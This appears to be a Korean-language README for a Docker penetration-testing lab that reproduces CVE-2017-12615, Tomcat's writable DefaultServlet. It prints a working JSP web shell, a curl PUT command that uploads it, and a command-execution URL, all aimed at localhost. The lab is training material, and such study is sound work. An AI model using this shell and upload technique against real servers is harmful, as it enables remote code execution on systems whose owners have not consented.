
CVE-2017-12615 Tomcat: JSP 업로드를 통한 원격 코드 실행 - 레드 팀 및 침투 테스트용 홈 랩
이 랩은 CVE-2017-12615 Tomcat: JSP 업로드를 통한 원격 코드 실행 취약점을 시뮬레이션합니다.
readonly=false 설정으로 인해 HTTP PUT을 통한 파일 업로드가 가능해지며, 여기에는 명령을 실행할 수 있는(RCE) .jsp 파일도 포함됩니다.
readonly=false 값이 설정된 DefaultServlet override 사용.jsp 파일을 ROOT 웹 디렉터리에 배치 가능flag_RANDOM.txt 자동 생성/opt/apache-tomcat-7.0.79/
/opt/apache-tomcat-7.0.79/webapps/ROOT/index.jsp
/opt/apache-tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml
/tmp/flag_RANDOM.txt
/docker-entrypoint.sh
docker compose build
docker compose up -d
웹 브라우저로 접속:
http://localhost:8080/
cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
String s;
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
while ((s = r.readLine()) != null) out.println(s + "<br>");
}
%>
EOF
/ 필요)curl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
http://localhost:8080/shell.jsp?cmd=id
다음 위치에 저장됩니다:
/tmp/flag_RANDOM.txt
이 랩은 Apache Tomcat의 DefaultServlet이 다음과 같이 잘못 구성된 CVE-2017-12615 Tomcat: JSP 업로드를 통한 원격 코드 실행 취약점을 시뮬레이션합니다:
readonly=false
이로 인해 공격자는 HTTP PUT을 통해 .jsp 파일을 업로드하여 원격 코드 실행이 가능해집니다.
readonly=false가 설정된 DefaultServlet override.jsp 파일 작성 가능flag_RANDOM.txtcurl -v -X PUT "http://localhost:8080/shell.jsp/" -H "Content-Type: text/plain" --data-binary @shell.jsp
http://localhost:8080/shell.jsp?cmd=id
/tmp/flag_RANDOM.txt
교육, 연구 및 승인된 침투 테스트 목적으로만 사용하십시오.